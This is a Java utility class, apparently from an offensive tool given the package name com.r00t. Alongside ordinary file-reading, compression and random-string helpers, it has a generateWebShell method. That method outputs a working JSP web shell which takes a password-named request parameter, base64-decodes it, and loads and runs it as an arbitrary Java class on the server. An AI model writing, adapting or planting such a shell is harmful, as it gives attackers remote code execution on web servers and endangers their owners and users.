content: package com.r00t.util;
  
  import com.r00t.config.AppConfig;
  
  import java.io.*;
  import java.nio.file.Files;
  import java.nio.file.Paths;
  import java.util.Random;
  import java.util.zip.ZipEntry;
  import java.util.zip.ZipOutputStream;
  
  public class FileUtils {
      private static final Random RANDOM = new Random();
      
      private FileUtils() {}
      
      public static String generateRandomString(int length) {
          StringBuilder sb = new StringBuilder(length);
          for (int i = 0; i < length; i++) {
              sb.append(AppConfig.RANDOM_CHARS.charAt(RANDOM.nextInt(AppConfig.RANDOM_CHARS.length())));
          }
          return sb.toString();
      }
      
      public static byte[] readFile(String filePath) throws IOException {
          if (filePath == null || filePath.isEmpty()) {
              throw new IllegalArgumentException("File path cannot be empty");
          }
          return Files.readAllBytes(Paths.get(filePath));
      }
      
      public static byte[] compress(byte[] data) throws IOException {
          ByteArrayOutputStream baos = new ByteArrayOutputStream();
          try (ZipOutputStream zos = new ZipOutputStream(baos)) {
              ZipEntry entry = new ZipEntry(AppConfig.ZIP_ENTRY_NAME);
              zos.putNextEntry(entry);
              zos.write(data);
              zos.closeEntry();
          }
          return baos.toByteArray();
      }
      
      public static byte[] readAndCompressFile(String filePath, byte[] fallbackData) throws IOException {
          byte[] data = (filePath != null && !filePath.isEmpty()) ? readFile(filePath) : fallbackData;
          return compress(data);
      }
      
      public static String generateWebShell(String password) {
          return "<%!\n"
                  + "class U extends ClassLoader {\n"
                  + "   U(ClassLoader c) { super(c); }\n"
                  + "   public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }\n"
                  + "}\n"
                  + "%>\n"
                  + "<%\n"
                  + "String cls = request.getParameter(\"" + password + "\");\n"
                  + "if (cls != null) {\n"
                  + "   new U(this.getClass().getClassLoader())\n"
                  + "       .g(new sun.misc.BASE64Decoder().decodeBuffer(cls))\n"
                  + "       .newInstance()\n"
                  + "       .equals(pageContext);\n"
                  + "}\n"
                  + "%>\n";
      }
  }
  